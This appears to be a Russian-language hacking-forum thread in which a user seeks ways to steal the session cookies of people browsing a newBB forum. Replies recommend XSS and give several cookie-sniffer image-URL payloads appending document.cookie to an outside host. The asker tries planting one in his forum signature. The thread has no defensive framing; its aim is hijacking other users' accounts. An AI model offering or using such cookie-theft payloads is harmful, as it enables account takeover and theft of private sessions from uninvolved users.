Cookie

[Andrey_Go]

Я тут новенькие... не подскажите какие образом можно скатать куки юзера на другой машине, может методом сниффера как нибудь можно. Тот снифер что тут стоит он возвращает только IP и адресную строку.
Возможно ли каким нибудь методом заполучить куки пользователя который просматривают форум (newBB) ?

Заранее спасибо.

[grinay]

Да с помошью xss атаки на этот самый форум который он посещает..

[Tem]

Наверно ты просто ставиш снифер не забудь прописать +(document.cookie), и ты перехватиш куки.

[Andrey_Go]

Наверно ты просто ставиш снифер не забудь прописать +(document.cookie), и ты перехватиш куки.

Я снифер ставлю в подпись, там разрешено использовать картинки с любого URL. Как мне правельно вписатоь УРЛ ?

http://antichat.ru/cgi-bin/s.jpg+(document.cookie) или
http://antichat.ru/cgi-bin/s.jpg?(document.cookie) или
http://antichat.ru/cgi-bin/s.jpg?document.cookie

Подскажите плиз....

[vorishka]

http://antichat.ru/cgi-bin/s.jpg?+document.cookie; по моему вот так...

[Andrey_Go]

http://antichat.ru/cgi-bin/s.jpg?+document.cookie; по моему вот так...


Вставляю я это в тэги..... он не воспринимает ЭТО как УРЛ картинки :( что делать ?

[byte57]

ну если Xss баги нет то ниче не поделаешь, хоть куда вставляй...

[Andrey_Go]

ну если Xss баги нет то ниче не поделаешь, хоть куда вставляй...

Спасибо за помощ. Думаю что тему можно закрыть :-)